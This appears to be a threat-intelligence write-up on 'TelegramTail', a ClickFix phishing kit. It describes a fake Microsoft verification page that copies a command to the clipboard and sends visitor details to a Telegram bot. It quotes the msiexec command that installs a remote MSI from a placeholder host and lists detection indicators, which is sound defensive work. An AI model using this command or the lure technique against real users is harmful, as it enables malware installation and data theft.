TelegramTail ClickFix kit
TelegramTail is a fake Microsoft verification page that copies an MSI command and reports the visitor through the Telegram Bot API. We first matched it on 13 August; its site total is now 1.
TelegramTail in numbers
Since 13 August, the first TelegramTail match in our records, counted on 12 November 2026. How we count.
| Sites with TelegramTail code | 1 |
|---|---|
| Sites with a match in the last 30 days | 0 |
| New sites in October | 0 |
One click marks the browser for a year
TelegramTail presents a Microsoft logo, a "Security Verification" heading and a large CAPTCHA button. Clicking the button immediately writes ms_done=1 to local storage and to a cookie that expires after one year. A returning browser sees "You are already verified" and cannot start the flow again.
On the first visit, the button disappears and a spinner runs for three seconds. The page creates a text area off screen, selects its contents and calls document.execCommand('copy'). It then shows steps for opening the Run dialog with Win+R, pasting, and pressing Ctrl+Shift+Enter.
Windows Installer reads the remote package
The copied line is short:
msiexec /i https://[download host]/MicrosoftVerify.msi /passiveMicrosoft documents /i as a normal package installation and /passive as unattended mode with a progress bar. The filename and /passive switch distinguish it from InstallerBeaver, which stages its MSI in the temp folder through PowerShell and uses /qn.
The browser sends a Telegram report
The click handler reads a return address from the ret query parameter or the referring page. It identifies the operating system and browser from the user agent, requests the visitor's public IP address and country, then posts a message headed "Verification Done" to Telegram. The message carries the current page address, IP address, country, operating system, browser and return address.
The bot token and chat ID are Base64 strings in the page source and are decoded with atob. The request goes straight from the visitor's browser to the Telegram Bot API.
When a return address is present, the page waits 60 seconds, sends the browser there and adds cap=1 to its query string.
What we see
| Month | New sites |
|---|---|
| September | 0 |
| October | 0 |
| November so far | 0 |
Finding the MSI and Bot API call
Search the page source and network log for:
Microsoft | Security Verificationwith a CAPTCHA button andms_doneMicrosoftVerify.msi,msiexec /iand/passivein the same clipboard value- a hidden text area followed by
setSelectionRangeanddocument.execCommand('copy') api.telegram.org/bot,/sendMessage,chat_idandVerification Done- requests for the visitor's public IP address and country immediately after the click
- a
retparameter followed by a redirect that addscap=1
A Telegram bot token embedded in public page source is exposed. Record it during response and remove the script that contains it.